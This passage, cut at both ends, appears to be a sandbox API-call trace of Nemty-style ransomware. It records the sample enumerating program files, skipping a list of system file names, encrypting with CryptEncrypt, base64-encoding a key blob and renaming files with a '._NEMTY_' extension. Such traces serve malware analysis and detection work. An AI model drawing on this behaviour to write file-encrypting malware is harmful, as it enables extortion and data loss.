lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0059.574] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.574] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0059.584] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.584] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0059.584] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.584] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0059.593] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.593] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0059.594] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.594] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0059.600] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.600] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0059.600] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.600] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0059.606] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.606] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0059.606] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.606] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0059.606] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0059.606] CloseHandle (hObject=0xffffffff) returned 0 [0059.606] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x4f941c0 [0059.606] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0059.606] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0059.606] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0059.606] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0059.606] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0059.606] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x63404a8 [0059.606] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x6343fe8 [0059.606] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0059.607] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0059.607] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_glass.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_glass.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_glass.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_glass.png._nemty_kgobjgd_")) returned 0 [0059.607] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0059.607] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0059.607] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0059.607] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0059.607] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0059.607] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0059.607] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0059.607] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0059.607] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0059.607] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0059.607] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebf2297, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ebf2297, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf26, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="circleround_selectionsubpicture.png", cAlternateFileName="")) returned 1 [0059.607] lstrcmpiW (lpString1="circleround_selectionsubpicture.png", lpString2=".") returned 1 [0059.607] lstrcmpiW (lpString1="circleround_selectionsubpicture.png", lpString2="..") returned 1 [0059.607] lstrcmpiW (lpString1="circleround_selectionsubpicture.png", lpString2="...") returned 1 [0059.607] lstrcmpiW (lpString1="circleround_selectionsubpicture.png", lpString2="windows") returned -1 [0059.607] lstrcmpiW (lpString1="circleround_selectionsubpicture.png", lpString2="$RECYCLE.BIN") returned 1 [0059.607] lstrcmpiW (lpString1="circleround_selectionsubpicture.png", lpString2="rsa") returned -1 [0059.607] lstrcmpiW (lpString1="circleround_selectionsubpicture.png", lpString2="NTDETECT.COM") returned -1 [0059.607] lstrcmpiW (lpString1="circleround_selectionsubpicture.png", lpString2="ntldr") returned -1 [0059.607] lstrcmpiW (lpString1="circleround_selectionsubpicture.png", lpString2="MSDOS.SYS") returned -1 [0059.607] lstrcmpiW (lpString1="circleround_selectionsubpicture.png", lpString2="IO.SYS") returned -1 [0059.607] lstrcmpiW (lpString1="circleround_selectionsubpicture.png", lpString2="boot.ini") returned 1 [0059.607] lstrcmpiW (lpString1="circleround_selectionsubpicture.png", lpString2="boot.ini") returned 1 [0059.607] lstrcmpiW (lpString1="circleround_selectionsubpicture.png", lpString2="AUTOEXEC.BAT") returned 1 [0059.607] lstrcmpiW (lpString1="circleround_selectionsubpicture.png", lpString2="ntuser.dat") returned -1 [0059.607] lstrcmpiW (lpString1="circleround_selectionsubpicture.png", lpString2="desktop.ini") returned -1 [0059.607] lstrcmpiW (lpString1="circleround_selectionsubpicture.png", lpString2="CONFIG.SYS") returned -1 [0059.607] lstrcmpiW (lpString1="circleround_selectionsubpicture.png", lpString2="RECYCLER") returned -1 [0059.607] lstrcmpiW (lpString1="circleround_selectionsubpicture.png", lpString2="BOOTSECT.BAK") returned 1 [0059.607] lstrcmpiW (lpString1="circleround_selectionsubpicture.png", lpString2="bootmgr") returned 1 [0059.607] lstrcmpiW (lpString1="circleround_selectionsubpicture.png", lpString2="programdata") returned -1 [0059.608] lstrcmpiW (lpString1="circleround_selectionsubpicture.png", lpString2="appdata") returned 1 [0059.608] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0059.608] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="circleround_selectionsubpicture.png", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0059.608] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0059.608] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="circleround_selectionsubpicture.png", cchWideChar=35, lpMultiByteStr=0x6345608, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="circleround_selectionsubpicture.png", lpUsedDefaultChar=0x0) returned 35 [0059.608] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0059.608] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94358 [0059.608] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="circleround_selectionsubpicture.png", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0059.608] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0059.608] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="circleround_selectionsubpicture.png", cchWideChar=35, lpMultiByteStr=0x6345608, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="circleround_selectionsubpicture.png", lpUsedDefaultChar=0x0) returned 35 [0059.608] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0059.608] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0059.608] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0059.608] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0059.608] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="circleround_selectionsubpicture.png", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0059.608] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0059.608] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="circleround_selectionsubpicture.png", cchWideChar=35, lpMultiByteStr=0x6345608, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="circleround_selectionsubpicture.png", lpUsedDefaultChar=0x0) returned 35 [0059.608] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0059.608] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0059.608] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="circleround_selectionsubpicture.png", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0059.608] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0059.608] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="circleround_selectionsubpicture.png", cchWideChar=35, lpMultiByteStr=0x6345640, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="circleround_selectionsubpicture.png", lpUsedDefaultChar=0x0) returned 35 [0059.608] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0059.608] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94358 [0059.608] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942c0 | out: hHeap=0x4f90000) returned 1 [0059.608] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f941c0 [0059.608] Sleep (dwMilliseconds=0x5) [0059.621] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xd72f0bf0, dwHighDateTime=0x1d561e7)) [0059.621] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xd72f0bf0, dwHighDateTime=0x1d561e7)) [0059.621] GetLastError () returned 0x5 [0059.621] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0059.621] GetLastError () returned 0x5 [0059.621] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0059.621] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0059.621] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0059.621] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0059.621] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0059.621] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0059.621] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0059.621] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ec5c | out: pszString="+lY/L9sVCnfKIpcGrv7YG+FWWegD/vhz60d7MFjhtsEbfMxqez5Lq3StziVROIxz\r\nVxmu0KDgKIYv2j43IURzS2l3Ol26GkroCDO+BR6qTx+7xkcDoA+IVwcLf7gCILXa\r\ncyVahavLGgrLhXnU4je1LyyTeir52A/O3eJBI0v5f77b6Oo4rU2GD5sgyoXw6JLP\r\ngFvGR1P1WGehZyZd8pVkNOhOE+Y2hUx9iF4B+5N5at2bp0Yd+hcfGk2orVx0ilih\r\nJMtPfvFdVovFW2m49VZP886a3pTmyiDxSt6mqLMACCCTud3bSLAtau/aK42Uq2xK\r\ntMouNEXX7mkg7bpwVvVEjQ==\r\n", pcchString=0x653ec5c) returned 1 [0059.622] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401b8 [0059.622] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0059.622] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0059.622] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0059.622] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0059.622] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340330 [0059.622] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0059.623] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=18150282790956772) returned 0 [0059.623] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0059.623] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.623] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0059.632] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.632] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0059.632] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.632] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0059.641] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.641] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0059.642] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.642] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0059.651] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.651] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0059.651] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.651] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0059.660] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.660] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0059.660] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.660] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0059.670] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.670] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0059.670] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.670] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0059.680] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.680] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0059.680] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.680] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0059.689] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.689] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0059.689] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.689] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0059.698] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.698] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0059.699] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.699] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0059.708] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.708] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0059.708] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.708] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0059.719] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.719] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0059.719] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.719] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0059.725] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, 